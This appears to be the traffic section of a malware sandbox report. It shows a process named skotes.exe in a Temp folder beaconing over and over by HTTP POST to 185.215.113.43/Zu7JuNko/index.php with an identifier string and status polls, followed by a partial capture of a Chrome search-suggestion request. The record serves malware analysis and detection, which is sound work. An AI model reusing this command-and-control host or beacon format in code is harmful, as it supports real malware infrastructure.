Nov 24, 2024 02:19:43.186163902 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:19:44.670264006 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:19:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	50373	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:19:46.414098978 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:19:47.880319118 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:19:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	50375	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:19:49.513827085 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:19:50.961184978 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:19:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	50377	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:19:52.708353043 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:19:54.052472115 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:19:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	50378	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:19:55.678658962 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:19:57.069279909 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:19:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	50379	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:19:58.813280106 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:20:00.215821981 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:19:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	50382	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:20:01.849365950 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:20:03.257685900 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:20:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	50383	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:20:04.997164965 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:20:06.328133106 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:20:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	50385	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:20:07.963934898 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:20:09.389791965 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:20:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	50386	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:20:11.135267019 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:20:12.467292070 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:20:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	50391	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:20:14.099339962 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:20:15.454060078 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:20:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	50393	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:20:17.203244925 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:20:18.589411974 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:20:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	50395	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:20:20.219281912 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:20:21.645962000 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:20:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	50397	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:20:23.377471924 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:20:24.767354012 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:20:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	50398	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:20:26.399297953 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:20:27.778202057 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:20:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	50399	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:20:29.517358065 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:20:30.893976927 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:20:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	50402	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:20:32.529875994 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:20:33.878557920 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:20:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	50403	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:20:35.629580021 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:20:37.017292976 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:20:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	50405	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:20:38.646105051 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:20:39.996153116 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:20:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	50407	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:20:41.745598078 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:20:43.122522116 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:20:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	50408	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:20:44.763784885 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:20:46.106372118 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:20:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	50409	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:20:47.841948032 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:20:49.182732105 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:20:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49738	142.250.181.100	443	2992	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 01:13:14 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-24 01:13:14 UTC	1266	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:13:14 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-SO7P-Jp66DLixoEGJXc0BQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-24 01:13:14 UTC	124	IN	Data Raw: 32 66 39 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 69 35 20 63 6f 6e 73 74 72 75 63 74 69 6f 6e 20 73 65 61 74 74 6c 65 22 2c 22 73 79 6e 61 70 73 65 20 66 69 6e 74 65 63 68 20 62 61 6e 6b 73 22 2c 22 61 72 73 65 6e 61 6c 20 76 73 20 6e 6f 74 74 69 6e 67 68 61 6d 20 66 6f 72 65 73 74 20 68 69 67 68 6c 69 67 68 74 73 22 2c 22 73 70 6f 74 69 66 79 20 77 72 61 70 70 65 64 20 Data Ascii: 2f9)]}'["",["i5 construction seattle","synapse fintech banks","arsenal vs nottingham forest highlights","spotify wrapped
